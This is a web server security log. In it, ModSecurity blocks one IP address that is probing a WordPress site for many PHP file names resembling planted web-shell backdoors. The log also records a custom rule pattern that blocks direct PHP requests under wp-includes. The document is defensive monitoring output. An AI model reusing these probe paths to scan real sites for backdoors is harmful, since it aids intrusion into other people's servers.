[Tue Mar 24 05:44:49.074571 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:22438] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acG0UfwkUqN4GJAI5oV4tAAAARc"]
[Tue Mar 24 05:44:51.499449 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:22418] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acG0Uya_-JXXD03-JNzH7wAAAIk"]
[Tue Mar 24 05:44:52.838083 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:37871] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acG0VPwkUqN4GJAI5oV4vwAAAQA"]
[Tue Mar 24 05:44:54.584264 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:34559] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acG0VpdZesutm6dfYM_jXgAAANQ"]
[Tue Mar 24 05:44:57.099501 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:24580] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "acG0WSa_-JXXD03-JNzH-wAAAIY"]
[Tue Mar 24 05:44:59.340714 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:21225] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "acG0W_wkUqN4GJAI5oV40gAAARc"]
[Tue Mar 24 05:45:00.088927 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:21382] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "acG0XJdZesutm6dfYM_jZAAAAM4"]
[Tue Mar 24 05:45:00.822402 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:22110] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "acG0XPwkUqN4GJAI5oV45QAAARc"]
[Tue Mar 24 05:45:01.969561 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:26470] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worm0.PhP7"] [unique_id "acG0XfwkUqN4GJAI5oV5AgAAAQU"]
[Tue Mar 24 05:45:02.963670 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:42996] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worm0.PhP7"] [unique_id "acG0XpdZesutm6dfYM_jZQAAAMc"]
[Tue Mar 24 05:45:04.543936 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:39500] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worm0.PhP7"] [unique_id "acG0YKJBKytnG47nuibcCAAAAFA"]
[Tue Mar 24 05:45:05.595448 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:24988] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worm0.PhP7"] [unique_id "acG0YZdZesutm6dfYM_jaAAAAMo"]
[Tue Mar 24 05:45:06.451307 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:21817] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acG0YgyOuILyynfcqfn2UQAAAAA"]
[Tue Mar 24 05:45:07.445408 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:31349] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acG0Y5dZesutm6dfYM_jagAAAMs"]
[Tue Mar 24 05:45:08.740084 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:25341] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acG0ZCa_-JXXD03-JNzIBQAAAJE"]
[Tue Mar 24 05:45:09.720793 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:25428] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acG0ZfwkUqN4GJAI5oV5RwAAARE"]
[Tue Mar 24 05:45:10.632672 2026] [:error] [pid 3031:tid 3094] [client 172.213.136.15:36305] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hjkj.php"] [unique_id "acG0ZqJBKytnG47nuibcEAAAAFI"]
[Tue Mar 24 05:45:12.313860 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:42616] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hjkj.php"] [unique_id "acG0aPwkUqN4GJAI5oV5TAAAAQ0"]
[Tue Mar 24 05:45:13.544896 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:26480] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hjkj.php"] [unique_id "acG0afwkUqN4GJAI5oV5UwAAARc"]
[Tue Mar 24 05:45:14.974891 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:23779] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hjkj.php"] [unique_id "acG0avwkUqN4GJAI5oV5WgAAAQI"]
[Tue Mar 24 05:45:16.324553 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:41375] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sid.php"] [unique_id "acG0bJdZesutm6dfYM_jdgAAAMs"]
[Tue Mar 24 05:45:18.934585 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:42144] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sid.php"] [unique_id "acG0bpdZesutm6dfYM_jigAAANI"]
[Tue Mar 24 05:45:20.025384 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:42169] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sid.php"] [unique_id "acG0cCa_-JXXD03-JNzIEQAAAIw"]
[Tue Mar 24 05:45:21.675646 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:36341] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sid.php"] [unique_id "acG0cSa_-JXXD03-JNzIEwAAAIk"]
[Tue Mar 24 05:45:23.517050 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:24655] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx21_1.php"] [unique_id "acG0c5dZesutm6dfYM_joQAAAMI"]
[Tue Mar 24 05:45:25.159645 2026] [:error] [pid 3030:tid 3073] [client 172.213.136.15:41379] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx21_1.php"] [unique_id "acG0dQyOuILyynfcqfn2lAAAABg"]
[Tue Mar 24 05:45:26.359693 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:37553] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx21_1.php"] [unique_id "acG0dpdZesutm6dfYM_jpgAAAM0"]
[Tue Mar 24 05:45:28.825794 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:28380] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx21_1.php"] [unique_id "acG0ePwkUqN4GJAI5oV5nwAAAQs"]
[Tue Mar 24 05:45:31.206601 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:21800] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "acG0e5dZesutm6dfYM_jsQAAAM4"]
[Tue Mar 24 05:45:32.374735 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:42969] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "acG0fPwkUqN4GJAI5oV5sQAAAQk"]
[Tue Mar 24 05:45:34.565115 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:32731] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "acG0fvwkUqN4GJAI5oV5vAAAAQk"]
[Tue Mar 24 05:45:36.494266 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:42175] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "acG0gCa_-JXXD03-JNzIIAAAAIk"]
[Tue Mar 24 05:45:37.981829 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:33153] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asus.php"] [unique_id "acG0gSa_-JXXD03-JNzIJQAAAII"]
[Tue Mar 24 05:45:49.278019 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:24651] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "acG0jfwkUqN4GJAI5oV59gAAAQU"]
[Tue Mar 24 05:45:57.740412 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:22648] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "acG0lSa_-JXXD03-JNzIQwAAAJA"]
[Tue Mar 24 05:46:00.600289 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:49682] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xajxfrbx.php"] [unique_id "acG0mAyOuILyynfcqfn2sQAAAAA"]
[Tue Mar 24 05:46:01.443919 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:26741] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xajxfrbx.php"] [unique_id "acG0mSa_-JXXD03-JNzIRgAAAJQ"]
[Tue Mar 24 05:46:02.647935 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:41367] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xajxfrbx.php"] [unique_id "acG0mvwkUqN4GJAI5oV6HgAAARg"]
[Tue Mar 24 05:46:03.572158 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:20936] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xajxfrbx.php"] [unique_id "acG0mya_-JXXD03-JNzISQAAAIY"]
[Tue Mar 24 05:46:04.778585 2026] [:error] [pid 3030:tid 3061] [client 172.213.136.15:6325] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yu.php"] [unique_id "acG0nAyOuILyynfcqfn2tAAAAAw"]
[Tue Mar 24 05:46:06.578876 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:42971] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yu.php"] [unique_id "acG0nvwkUqN4GJAI5oV6IwAAARA"]
[Tue Mar 24 05:46:17.939633 2026] [:error] [pid 3031:tid 3090] [client 172.213.136.15:25289] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yu.php"] [unique_id "acG0qaJBKytnG47nuibciAAAAE4"]
[Tue Mar 24 05:46:18.790845 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:41741] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yu.php"] [unique_id "acG0qqJBKytnG47nuibcjQAAAEw"]
[Tue Mar 24 05:46:20.791692 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:34757] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acG0rAyOuILyynfcqfn2wgAAABM"]
[Tue Mar 24 05:46:22.590606 2026] [:error] [pid 3030:tid 3052] [client 172.213.136.15:40584] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acG0rgyOuILyynfcqfn2yAAAAAM"]
[Tue Mar 24 05:46:24.889871 2026] [:error] [pid 3032:tid 3116] [client 172.213.136.15:22395] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acG0sCa_-JXXD03-JNzIbAAAAI0"]
[Tue Mar 24 05:46:26.034030 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:22932] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acG0sia_-JXXD03-JNzIcwAAAJU"]
[Tue Mar 24 05:46:26.818335 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:40576] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "acG0svwkUqN4GJAI5oV6NwAAARQ"]
[Tue Mar 24 05:46:29.699514 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:39825] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "acG0tfwkUqN4GJAI5oV6PQAAAQU"]
[Tue Mar 24 05:46:31.551397 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:41748] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "acG0t_wkUqN4GJAI5oV6SQAAAQ0"]
[Tue Mar 24 05:46:32.502750 2026] [:error] [pid 3031:tid 3097] [client 172.213.136.15:31617] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "acG0uKJBKytnG47nuibcnAAAAFU"]
[Tue Mar 24 05:46:33.958221 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:31907] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www.php"] [unique_id "acG0uZdZesutm6dfYM_kFgAAAMg"]
[Tue Mar 24 05:46:35.051008 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:22717] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www.php"] [unique_id "acG0u5dZesutm6dfYM_kGwAAAMk"]
[Tue Mar 24 05:46:37.826738 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:41405] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www.php"] [unique_id "acG0vZdZesutm6dfYM_kIwAAAMc"]
[Tue Mar 24 05:46:40.113750 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:41733] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www.php"] [unique_id "acG0wPwkUqN4GJAI5oV6XwAAARI"]
[Tue Mar 24 05:46:41.078386 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:22625] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acG0wZdZesutm6dfYM_kMAAAANI"]
